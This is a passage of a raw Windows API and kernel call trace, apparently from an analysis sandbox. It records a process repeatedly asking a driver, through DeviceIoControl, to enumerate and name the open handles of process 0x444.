DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0071.512] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.513] PsReleaseProcessExitSynchronization () returned 0x2 [0071.513] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.513] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa80039c2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.513] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0071.513] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.513] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.513] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0071.513] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.513] PsAcquireProcessExitSynchronization () returned 0x0 [0071.513] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.513] ObReferenceObjectByHandle (in: Handle=0x808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fc5590, HandleInformation=0x0) returned 0x0 [0071.513] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.513] PsReleaseProcessExitSynchronization () returned 0x2 [0071.513] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.513] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039c3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.513] ObfDereferenceObject (Object=0xfffffa8001fc5590) returned 0x1 [0071.513] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.513] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.513] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0071.513] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.513] PsAcquireProcessExitSynchronization () returned 0x0 [0071.513] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.513] ObReferenceObjectByHandle (in: Handle=0x8a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0071.513] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.513] PsReleaseProcessExitSynchronization () returned 0x2 [0071.513] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.513] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80039c4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.513] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0x9 [0071.513] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.514] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.514] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0071.514] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.514] PsAcquireProcessExitSynchronization () returned 0x0 [0071.514] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.514] ObReferenceObjectByHandle (in: Handle=0x8e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800344df20, HandleInformation=0x0) returned 0x0 [0071.514] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.514] PsReleaseProcessExitSynchronization () returned 0x2 [0071.514] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.514] ObQueryNameString (in: Object=0xfffffa800344df20, ObjectNameInfo=0xfffffa80039c6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.514] ObfDereferenceObject (Object=0xfffffa800344df20) returned 0x1 [0071.514] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.514] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.514] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x10c, lpOverlapped=0x0) returned 1 [0071.514] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.514] PsAcquireProcessExitSynchronization () returned 0x0 [0071.514] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.514] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020046f0, HandleInformation=0x0) returned 0x0 [0071.514] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.514] PsReleaseProcessExitSynchronization () returned 0x2 [0071.514] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.514] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c7044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c7044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.514] ObfDereferenceObject (Object=0xfffffa80020046f0) returned 0x11 [0071.514] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.514] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.514] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0071.514] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.514] PsAcquireProcessExitSynchronization () returned 0x0 [0071.514] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.514] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003b92b00, HandleInformation=0x0) returned 0x0 [0071.515] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.515] PsReleaseProcessExitSynchronization () returned 0x2 [0071.515] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.515] ObQueryNameString (in: Object=0xfffffa8003b92b00, ObjectNameInfo=0xfffffa80039c8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039c8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.515] ObfDereferenceObject (Object=0xfffffa8003b92b00) returned 0x1 [0071.515] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.515] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.515] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.515] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.515] PsAcquireProcessExitSynchronization () returned 0x0 [0071.515] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.515] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002b90070, HandleInformation=0x0) returned 0x0 [0071.515] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.515] PsReleaseProcessExitSynchronization () returned 0x2 [0071.515] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.515] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039c9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039c9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.515] ObfDereferenceObject (Object=0xfffffa8002b90070) returned 0x1 [0071.515] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.515] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.515] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.515] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.515] PsAcquireProcessExitSynchronization () returned 0x0 [0071.515] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.515] ObReferenceObjectByHandle (in: Handle=0x9bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003bbc9c0, HandleInformation=0x0) returned 0x0 [0071.515] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.515] PsReleaseProcessExitSynchronization () returned 0x2 [0071.515] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.516] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039ca044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039ca044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.516] ObfDereferenceObject (Object=0xfffffa8003bbc9c0) returned 0x1 [0071.516] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.516] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.516] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.516] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.516] PsAcquireProcessExitSynchronization () returned 0x0 [0071.516] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.516] ObReferenceObjectByHandle (in: Handle=0x9d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003bbc870, HandleInformation=0x0) returned 0x0 [0071.516] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.516] PsReleaseProcessExitSynchronization () returned 0x2 [0071.516] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.516] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039cb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039cb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.516] ObfDereferenceObject (Object=0xfffffa8003bbc870) returned 0x1 [0071.516] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.516] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.516] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.516] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.516] PsAcquireProcessExitSynchronization () returned 0x0 [0071.516] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.516] ObReferenceObjectByHandle (in: Handle=0x9f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f8d850, HandleInformation=0x0) returned 0x0 [0071.516] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.516] PsReleaseProcessExitSynchronization () returned 0x2 [0071.516] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.516] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039cc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039cc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.516] ObfDereferenceObject (Object=0xfffffa8002f8d850) returned 0x1 [0071.516] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.516] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.516] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.516] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0071.517] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.517] PsAcquireProcessExitSynchronization () returned 0x0 [0071.517] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.517] ObReferenceObjectByHandle (in: Handle=0x9f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003590770, HandleInformation=0x0) returned 0x0 [0071.517] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.517] PsReleaseProcessExitSynchronization () returned 0x2 [0071.517] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.517] ObQueryNameString (in: Object=0xfffffa8003590770, ObjectNameInfo=0xfffffa80039cd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039cd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.517] ObfDereferenceObject (Object=0xfffffa8003590770) returned 0x11 [0071.517] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.517] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.517] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.517] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.517] PsAcquireProcessExitSynchronization () returned 0x0 [0071.517] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.517] ObReferenceObjectByHandle (in: Handle=0xa08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031413d0, HandleInformation=0x0) returned 0x0 [0071.517] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.517] PsReleaseProcessExitSynchronization () returned 0x2 [0071.517] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.517] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039ce044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039ce044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.517] ObfDereferenceObject (Object=0xfffffa80031413d0) returned 0x1 [0071.517] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.517] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.517] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.517] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.517] PsAcquireProcessExitSynchronization () returned 0x0 [0071.517] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.517] ObReferenceObjectByHandle (in: Handle=0xa34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800b938480, HandleInformation=0x0) returned 0x0 [0071.518] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.518] PsReleaseProcessExitSynchronization () returned 0x2 [0071.518] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039cf044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039cf044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.518] ObfDereferenceObject (Object=0xfffffa800b938480) returned 0x1 [0071.518] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.518] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.518] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0071.518] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.518] PsAcquireProcessExitSynchronization () returned 0x0 [0071.518] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.518] ObReferenceObjectByHandle (in: Handle=0xa9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003591be0, HandleInformation=0x0) returned 0x0 [0071.518] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.518] PsReleaseProcessExitSynchronization () returned 0x2 [0071.518] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039d0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.518] ObfDereferenceObject (Object=0xfffffa8003591be0) returned 0x1 [0071.518] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.518] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.518] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0071.518] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.518] PsAcquireProcessExitSynchronization () returned 0x0 [0071.518] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.518] ObReferenceObjectByHandle (in: Handle=0xabc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003097f20, HandleInformation=0x0) returned 0x0 [0071.518] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.518] PsReleaseProcessExitSynchronization () returned 0x2 [0071.518] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039d1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039d1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0071.518] ObfDereferenceObject (Object=0xfffffa8003097f20) returned 0x1 [0071.518] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.519] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.519] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0071.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0071.519] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0071.519] PsAcquireProcessExitSynchronization () returned 0x0 [0071.519] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0071.519] ObReferenceObjectByHandle (in: Handle=0x1168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800a7ff5a0, HandleInformation=0x0) returned 0x0 [0071.519] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0071.519] PsReleaseProcessExitSynchronization () returned 0x2 [0071.519] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0071.519] ObQueryNameString (in: Object=0xfffffa800a7ff5a0, ObjectNameInfo=0xfffffa80039d2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0071.519] ObfDereferenceObject (Object=0xfffffa800a7ff5a0) returned 0x1 [0071.519] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0071.519] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0071.519] RtlAllocateHeap (HeapHandle=0x150000, 